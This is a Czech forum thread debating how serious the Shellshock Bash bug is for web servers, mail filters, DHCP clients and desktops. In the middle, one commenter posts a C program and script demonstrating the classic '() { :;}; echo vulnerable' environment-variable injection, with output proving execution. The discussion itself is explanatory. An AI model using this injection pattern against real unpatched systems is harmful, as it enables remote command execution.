• Máš web, který spouští příkazy? A co má být? Spousta příkazů se přece dá spustit pomocí běžného execve(), tedy zcela bez parsování shellem. Klidně se dá sestavit celá pipeline bez jakéhokoliv použití Bashe. Web, který spouští příkazy tak, že napřed vyrobí command line a pak na to spustí celý shell (protože to asi vyžaduje nějaké netriviální shellové expanze, třeba jmen souborů atd.), mi připadá jako ošklivé a neefektivní řešení. Že by taky mohlo být nebezpečné, pokud se Bash nechová správně, to mě nepřekvapuje ani trochu. Takto navrženým softwarovým systémům je třeba se vyhnout.
• V nějakém mailovém filtru, byť napsaném v Bashi, by se muselo provádět jakési nastavování proměnných přímo podle textu z toho mailu, aby se dalo vhodně strukturovaným mailem zaútočit. Takový filtr je ovšem od základu špatný a nebezpečný nápad, který by klidně mohl selhat i bez tohoto bugu v Bashi.

Jak už jsem psal, samozřejmě je nutné Bash okamžitě aktualizovat, o tom se nepřu. Ale je naprosto nesmyslné děsit uživatele (běžné desktopové) nějakou poplašnou zprávou o extrémně nebezpečné chybě. Nic takového na jejich systémech není.

[Jendа]

V takovém případě ale má beztak oprávnění spouštět tam jakékoliv příkazy i uživatelské relace, takže tím žádné zabezpečení neobchází a nepotřebuje obcházet. Chyba v Bashi tedy v tom případě na situaci nic nemění.

Asi jsem se špatně vyjádřil. Na (nedůvěryhodném) botovi běží ssh klient, který se připojuje na botmastra, kde se spustí handler a pak si povídají přes stdin a stdout sshčka, tedy stejná situace, jako u toho gitu.

Máš web, který spouští příkazy? A co má být? Spousta příkazů se přece dá spustit pomocí běžného execve(), tedy zcela bez parsování shellem. Klidně se dá sestavit celá pipeline bez jakéhokoliv použití Bashe. Web, který spouští příkazy tak, že napřed vyrobí command line a pak na to spustí celý shell (protože to asi vyžaduje nějaké netriviální shellové expanze, třeba jmen souborů atd.), mi připadá jako ošklivé a neefektivní řešení.

Spousta prasičů (včetně mě) tohle, tedy jestli použít execve, nebo system/popen, neřešila. A jak ukazují automatické scany Internetu, je to opravdu leckde.

V nějakém mailovém filtru, byť napsaném v Bashi, by se muselo provádět jakési nastavování proměnných přímo podle textu z toho mailu, aby se dalo vhodně strukturovaným mailem zaútočit.

Nebo ti to mailserver nastaví do proměnných prostředí FROM a TO.

Ale je naprosto nesmyslné děsit uživatele (běžné desktopové) nějakou poplašnou zprávou o extrémně nebezpečné chybě. Nic takového na jejich systémech není.

Protože běžný uživatel nemá na desktopu DHCP klienta.

[Andrej]

Samotné nastavení proměnných FROM a TO ještě nemusí vadit. I kdyby mail server spouštěl při každé zprávě Bash (což by jeho throughputu ani trochu nesvědčilo), může přece předat FROM a TO Bashi pomocí toho klasického environment pole v execve(). Tím se vyhne jakémukoliv parsování nějakých přiřazení přímo Bashem a všechny programy, které pak Bash spustí, FROM a TO dostanou.

Někdo DHCP klienta má, někdo ne. Ale to není až tolik podstatné, protože falešný DHCP server, třeba takový, by musel být na stejné podsíti jako klient(i), takže útok přes DHCP není žádná extrémní hrozba, která by mohla přijít „z Internetu“. (To má ale zase ten nepříjemný důsledek, že skoro všechny implementace DHCP klientů jsou děravé a spoléhají se poněkud idiotsky, že DHCP server je důvěryhodný.) Výše odkazovaný článek na technet.idnes.cz ovšem šíří poplašnou zprávu, že když ten jednoduchý test na exploit v Bashi ukáže příslušné echo, systém je nějak zásadně ohrožený. To ale prostě není pravda. Ve veřejné WiFi síti nebo ve velké firemní síti je rozhodně důvod k obavám a k obezřetnosti, ale v nějaké domácí síti, kde má uživatel většinou zhruba tak jeden počítač, žádné extrémní riziko nečíhá. Samozřejmě za předpokladu, že NSA neovládla počítač toho uživatele někdy dřív, když byl ve vhodné veřejné síti.

Jak už jsem několikrát psal, nepřu se ani náznakem o nutnosti co nejdřív aktualizovat systém. (Sám si aktualizuji systém minimálně dvakrát denně, takže bych byl ten poslední, kdo by byl proti.) Jen se mi nelíbí ten dvojí metr, kdy bug v Bashi vyvolává senzaci a označuje se za „extrémně nebezpečnou chybu v Linuxu“, zatímco nad některými jinými slavnými systémy nikdo příliš nepanikaří.

[Michal Kašpar]

...i kdyby mail server spouštěl při každé zprávě Bash (což by jeho throughputu ani trochu nesvědčilo), může přece předat FROM a TO Bashi pomocí toho klasického environment pole v execve().

Kdyby, může... je ovšem naprosto nepodstatné. Důležité je, jak to každý z těch X mailserverů (a výše bylo myslím jasně ukázáno, že nejen mailserverů, dhcp klientů, webserverů, PHP aplikací, CGI skriptů....) reálně dělá. A to je další velký problém téhle chyby. V tuhle chvíli nikdo není přesně schopen zhodnotit její dopad, protože vlastně pořádně nevíme, kde všude u SW, který se skutečně používá, k využití bashe dochází. A i když to bude jasné ze zdrojáků, tak je potřeba přičíst ještě to, že bash bývá velice často používán jako univerzální lepidlo. Které je teď bohužel trochu toxické.

[Jendа]

I kdyby mail server spouštěl při každé zprávě Bash, může přece předat FROM a TO Bashi pomocí toho klasického environment pole v execve(). Tím se vyhne jakémukoliv parsování nějakých přiřazení přímo Bashem a všechny programy, které pak Bash spustí, FROM a TO dostanou.

Děkuji za názornou ukázku toho, že nikdo neví, co přesně chyba postihuje a nepostihuje. Pokud spustíme bash pomocí execve(2) a nasypeme mu to do **envp, tak jsme na rozdíl od nějakého blbého fork(2) všichni safe, že ano?

root@raspberrypi:~# cat test.sh 
#!/bin/bash

echo a
echo $@
echo b
env

root@raspberrypi:~# chmod +x test.sh
root@raspberrypi:~# cat test.c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {

  char * envir[1] = { "ble=() { :;}; echo vulnerable" };

  execve("./test.sh", NULL, envir);

}

root@raspberrypi:~# gcc test.c
root@raspberrypi:~# ./a.out 
vulnerable
a

b
PWD=/root
SHLVL=1
ble=() {  :
}
_=/usr/bin/env

(To má ale zase ten nepříjemný důsledek, že skoro všechny implementace DHCP klientů jsou děravé a spoléhají se poněkud idiotsky, že DHCP server je důvěryhodný.)

Proboha, které a jak to dělají?

K celému threadu: ano, jsem ochoten uznat, že u desktopů to není tak závažné.

[trekker.dk]

Máš web, který spouští příkazy? A co má být? Spousta příkazů se přece dá spustit pomocí běžného execve(), tedy zcela bez parsování shellem. Klidně se dá sestavit celá pipeline bez jakéhokoliv použití Bashe.

Za domácí cvičení si to zkuste v PHP.

[Petr Ježek]

Bez PHP to s výhodou nejde?

[trekker.dk]

Jako jestli jde web napsaný v PHP udělat bez PHP? No podle mě by to asi moc nefungovalo.

[koudy]

Jak se někdo může tvářit důležitě, když hovno vlítne do větráku???

Myslím že by má reakce byla naprosto jiná, než se tvářit důležitě, ale je fakt, že já jsem divnej :)

[Jirka]

[Mti.]

pokud to nebyl Vas vetrak a vy jste dobre placenym pravnikem postizeneho... budete se tvarit dulezite... v ostatnich pripadech zalezi, na ktere strane vetraku jste stal. :-/

[Heron]

+1

Mnoho povyku pro nic, ale někteří si rádi kopnou. Včetně bulváru typu root.cz.

[jdsulin]

Protoze je to dira az na pudu. Jakakoliv aplikace, ktera zapise do env promennych a pak spusti skript - coz je rozsirena metoda predavani promennych skriptum je derava. Uz jde jen o to, jestli se ten skript spusti v bashi nebo ne. U toho DHCP me napada jednoducha vec: dhclient prijme packet a pak spusti nastavovaci skript. Pripojis se nekde k WiFi a uz jsi nahrany :)

[Jendа]

Protoze je to dira az na pudu. Jakakoliv aplikace, ktera zapise do env promennych a pak spusti skript - coz je rozsirena metoda predavani promennych skriptum je derava.

Si pamatuju, jak mi kdysi někdo říkal něco jako Nepředávej parametry od uživatele jako parametry na příkazové řádce, pokud to spouštíš v shellu, posereš se z escapování. Nastav mu je do prostředí a ve skriptu si je přečti, to je bezpečnější.

[Jirka]

Tak upgradováno, můj server je už na 100% v bezpečí, akorát si k němu budu muset udělat vejlet, protože se s ním vůbec nedá spojit, ani neodpovídá na ping. >:-O

[Petr Ježek]

Jo, to jsou ty výhody vzdálené správy...

[Jirka]

Tak to bylo zaseklý v biosu, Taková blbost!

[Ahmadinedžád]

Mas tam mat nainstalovany remote exploit alebo backdoor!

[Petr Tomášek]

Popravdě řečeno, když na svém apachi nechám vyblít phpinfo(), tak v sekci "Evironment" je tohle (sry, bez tabulky):

Variable	Value
APACHE_RUN_DIR 	/var/run/apache2
APACHE_PID_FILE 	/var/run/apache2.pid
PATH 	/usr/local/bin:/usr/bin:/bin
APACHE_LOCK_DIR 	/var/lock/apache2
LANG 	C
APACHE_RUN_USER 	www-data
APACHE_RUN_GROUP 	www-data
APACHE_LOG_DIR 	/var/log/apache2
PWD 	/ 

Můžete mi někdo říct, jak u všech všudy přes tohle někdo chce provést útok na (PHPkové) system() nebo popen()?

Popravdě bych spíš za bezpečnostní díru považoval, pokud apache/PHP automaticky do proměnných prostředí cokoliv cpal. (A pokud to tam bude cpát PHP, tak bych čekal, bude ošetřena syntax právě tak, aby tam nešlo něco takového vložit...)

[Jendа]

Já teda nevím, co máš za Apache, ale já tam mám QUERY_STRING, HTTP_USER_AGENT a HTTP_ACCEPT .

[Petr Tomášek]

Hm, no, v mém phpinfo() jsou asi 3 sekce různých proměnných: 1) "Apache environment", 2) "PHP Variables", 3) "Environment". Vždycky jsem žil v domění, že to, co dostane system() nebo popen() je z té třetí sekce - a tam žádný QUERY_STRING, atd. není...

[Jendа]

No jo, máš pravdu, nepředává se to.

[trekker.dk]

Jestli používáš suexec, tak ten má IIRC whitelist proměnných prostředí a všechny ostatní smaže.

[pc2005]

Kruci, teďka budou všichni neprávem zaujatí vůči eval . Aspoň podle zpráv z bulvárů.

[Michal Kubeček]

Klid, já jsem proti eval zaujatý už dávno. :-)

[pc2005]

[pavlix]

+1